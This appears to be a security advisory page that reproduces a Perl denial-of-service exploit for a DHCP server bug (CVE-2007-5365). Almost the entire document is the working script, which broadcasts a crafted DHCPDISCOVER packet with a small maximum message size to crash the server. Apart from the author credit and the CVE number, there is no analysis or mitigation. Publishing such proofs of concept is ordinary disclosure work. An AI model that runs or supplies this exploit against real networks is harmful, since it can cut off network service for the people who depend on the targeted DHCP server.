|
|
|
|
| |
Credit:
The information has been provided by RoMaNSoFt.
|
| |
Exploit:
#!/usr/bin/perl
# DoS Exploit for DHCPd bug (CVE-2007-5365)
# By Roman Medina-Heigl Hernandez
# a.k.a. RoMaNSoFt <roman@rs-labs.com>
# [27.Oct.2007]
# Tested: Ubuntu 6.06 LTS
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
use POSIX qw(setsid strftime);
use Getopt::Long;
### Default config
$mms = 280;
GetOptions ('mms=i' => \$mms);
# sample logger
sub logger{
my $str = shift;
print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
print STDOUT "$str\n";
}
print ("DHCPd DoS exploit (CVE-2007-5365) - RoMaNSoFt, 2007\n---\n");
logger("Opening socket");
$handle = IO::Socket::INET->new(Proto => 'udp',
Broadcast => 1,
PeerPort => '67',
## Hacked to work as non-root user :)
# LocalPort => '68',
PeerAddr => '255.255.255.255')
|| die "Socket creation error: $@\n"; # yes, it uses $@ here
# create DHCP Packet DISCOVER
$discover = Net::DHCP::Packet->new(
Xid => 0x12345678,
Flags => 0x8000, # ask for broadcast answer
DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
DHO_VENDOR_CLASS_IDENTIFIER() => 'rs-labs.com',
DHO_DHCP_MAX_MESSAGE_SIZE() => $mms,
);
logger("Sending DISCOVER");
logger($discover->toString());
$handle->send($discover->serialize())
or die "Error sending:$!\n";
logger("Done");
CVE Information:
CVE-2007-5365
|
|
|
|
|
